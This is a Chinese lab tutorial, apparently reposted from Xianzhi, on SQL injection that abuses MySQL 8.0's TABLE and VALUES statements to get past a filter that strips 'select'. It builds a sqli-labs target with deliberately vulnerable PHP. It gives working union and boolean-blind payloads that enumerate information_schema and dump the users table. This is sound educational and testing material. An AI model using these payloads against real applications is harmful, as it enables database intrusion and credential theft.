MYSQL8.0注入新特性
Posted 邑安全
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了MYSQL8.0注入新特性相关的知识,希望对你有一定的参考价值。
更多全球网络安全资讯尽在邑安全
0x01 环境配置
出现了两个新的关键字table和values,本来想用phpstudy搭建的,但是这两个出现在8.0.19之后..phpstudy只有8.0.12
选择使用docker搭建
docker pull mysql:8.0.22
docker run -itd -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:8.0.22
sql注入的靶场用sqli-lab
https://github.com/c0ny1/vulstudy
按照文档搭建好,进入容器修改sqli-lab的配置文件,/app/sql-connections/db-creds.inc
比如容器IP为:172.18.0.2,一般来说宿主机为172.18.0.1
重新配置数据库 ,会报错,因为mysql8.0默认认证方式和5不一样,通过下面语句修改即可
ALTER USER 'root' IDENTIFIED WITH mysql_native_password BY '123456';
再次配置数据库,环境搭建完成
0x02 table
先看一下官方文档
htt ps://dev.mysql.com/doc/refman/8.0/en/table.html
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
官方文档描述和TABLE和SELECT有类似的功能
可以列出表的详细内容
0x03 values
https://dev.mysql.com/doc/refman/8.0/en/values.html
VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number]
row_constructor_list:
ROW(value_list)[, ROW(value_list)][, ...]
value_list:
value[, value][, ...]
column_designator:
column_index
values可以构造一个表
values可以接在union后面,可以判断列数
select * from users where id = 1 union values row(1,2,3)
如果列数不对会报错
0x04 靶机测试
修改Less-1的代码,过滤select
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id." ");
fclose($fp);
// connectivity
function blacklist($id)
{
$id= preg_replace('/select/i',"", $id);
return $id;
}
$id = blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
</font> </div></br></br></br><center>
<img /></center>
</body>
</html>
首先用order by判断列数
然后使用values判断回显的位置
http://192.168.163.130/Less-1/?id=-1' union values row(1,2,3)--+
然后就是常规的需要知道库名,表名,字段名
当前库可以通过布尔盲注得到
1&&substr((database()),1,1)='c'
别的库名可以通过盲注得到
table information_schema.schemata #列出所有数据库名
因为table不能像select控制列数,除非列数一样的表,不然都回显不出来,也需要使用盲注
1&&('def','m','',4,5,6)<(table information_schema.schemata limit 1);
后面的语句是从左到右判断的,第一列判断正确再判断第二列
因为schemata表中的第一列是def,不需要判断,所以可以直接判断库名
里面的字符也是单个判断的,比如库为mysql
m < mysql
my < mysql
azzzz < mysql
以上判断都是正确的,猜测是按照ascii码大小比较的,最后一个就比较坑,如果前一个字符判断不正确,后面的字符都会不正确,所以前面的判断一定要正确
注意判断的时候后一个列名一定要用字符表示,不能用数字,不然判断到前一个最后一个字符会判断不出
('def','mysql',3,4,5,6)<(table information_schema.schemata limit 1); #判断错误
('def','mysql','',4,5,6)<(table information_schema.schemata limit 1); #判断正确
得到当前库名为security,接下来判断表名
('def','security','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table information_schema.tables limit 325,1);
前两个字段都是确定的,可以写一个for循环判断,如果结果为真,代表从那行开始,然后盲注第三个列
得到所有表明后开始判断字段名,找到columns表,具体方法和上面一样
('def','security','users','','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table information_schema.columns limit 3415,1);
最后注入出数据
(1,'','') < (table users limit 1);
这里有个坑点,如果没有得到数据类型的话还是需要猜的,比如ID为1,前面就不能写成'1'
然后一直往下注入数据就行了
0x05 简单脚本
试着写了个脚本,还是出现了一些问题
字符表最好按照ascii码表的顺序来写,但是又不能全部按照ascii表,因为里面有些字符也会使数据库报错
匹配表名时不能准确的匹配到表名在tables中的行数,比如两个表一个为sys一个为security
y>s,所以在匹配security的时候也会匹配到sys的行数,还是需要靠经验判断了
因为sys时系统表所以行数肯定是在security上面的,这里可以得知security从322行开始到325行结束
列表名同样会出现这个问题,也是需要猜
想了想脚本还是不贴出来了,自己都看不下去了实在太僵硬了,到最后注入数据的时候写的还有点问题就不拿出来丢人现眼了
最后,关于这些表名字段名啥的应该还有些操作空间,mysql版本越高可以查询数据库表字段的表也越来越多了,可以按照需求选择用什么表查询
https://www.cnblogs.com/20175211lyz/p/12358725.html
具体哪些表可以这篇文章里面写的很全
原文来自:先知社区
原文链接:https://xz.aliyun.com/t/8646
推荐文章
1
2
以上是关于MYSQL8.0注入新特性的主要内容,如果未能解决你的问题,请参考以下文章